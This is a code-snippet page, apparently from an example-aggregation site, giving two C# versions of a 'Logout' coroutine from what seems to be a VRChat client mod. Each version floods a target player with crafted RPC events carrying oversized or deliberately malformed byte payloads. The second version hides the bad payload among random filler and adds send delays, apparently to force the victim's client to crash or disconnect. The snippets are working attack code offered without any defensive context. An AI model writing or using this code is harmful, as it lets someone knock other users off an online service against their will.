Exemplo n.º 1
0
            private IEnumerator Logout()
            {
                byte[] parameterBytes = new Protocol16().Serialize(new object[20000]);

                VRC_EventHandler.VrcEvent ev = new VRC_EventHandler.VrcEvent
                {
                    EventType             = VRC_EventHandler.VrcEventType.SendRPC,
                    ParameterObject       = null,
                    ParameterString       = RpcSecureWrap.GetRandomRpc(),
                    ParameterBytes        = parameterBytes,
                    ParameterBytesVersion = new int?(1),
                    ParameterInt          = 9
                };

                for (int i = 0; i < 36; i++)
                {
                    RpcSecureWrap.SendRpcSecure(Target, ev);
                }

                yield return(new WaitForEndOfFrame());
            }
Exemplo n.º 2
0
            private IEnumerator Logout()
            {
                //byte[] generated = Generate(RpcSecureWrap.Random);
                byte[] generated = GetEncodedErroneous();

                Random rnd = RpcSecureWrap.Random;

                int rnd1 = rnd.Next(12, 17);
                int rnd2 = rnd.Next(7, rnd1 - 3);

                for (int i = 0; i < rnd1; i++)
                {
                    VRC_EventHandler.VrcEvent ev = new VRC_EventHandler.VrcEvent
                    {
                        EventType             = VRC_EventHandler.VrcEventType.SendRPC,
                        ParameterObject       = null,
                        ParameterString       = RpcSecureWrap.GetRandomRpc(),
                        ParameterBytes        = ((i == rnd2) ? generated : ((RpcSecureWrap.Random.Next(0, 10) < 5) ? Filler(RpcSecureWrap.Random) : FakeData(RpcSecureWrap.Random))),
                        ParameterBytesVersion = 1,
                        ParameterInt          = 9
                    };

                    RpcSecureWrap.SendRpcSecure(Target, ev);
                    yield return(new WaitForSeconds(0.05f));

                    RpcSecureWrap.SendRpcSecure(Target, ev);
                    yield return(new WaitForSeconds(0.05f));

                    RpcSecureWrap.SendRpcSecure(Target, ev);
                    yield return(new WaitForSeconds(0.05f));

                    RpcSecureWrap.SendRpcSecure(Target, ev);
                    yield return(new WaitForSeconds(0.05f));

                    RpcSecureWrap.SendRpcSecure(Target, ev);
                }

                yield return(new WaitForEndOfFrame());
            }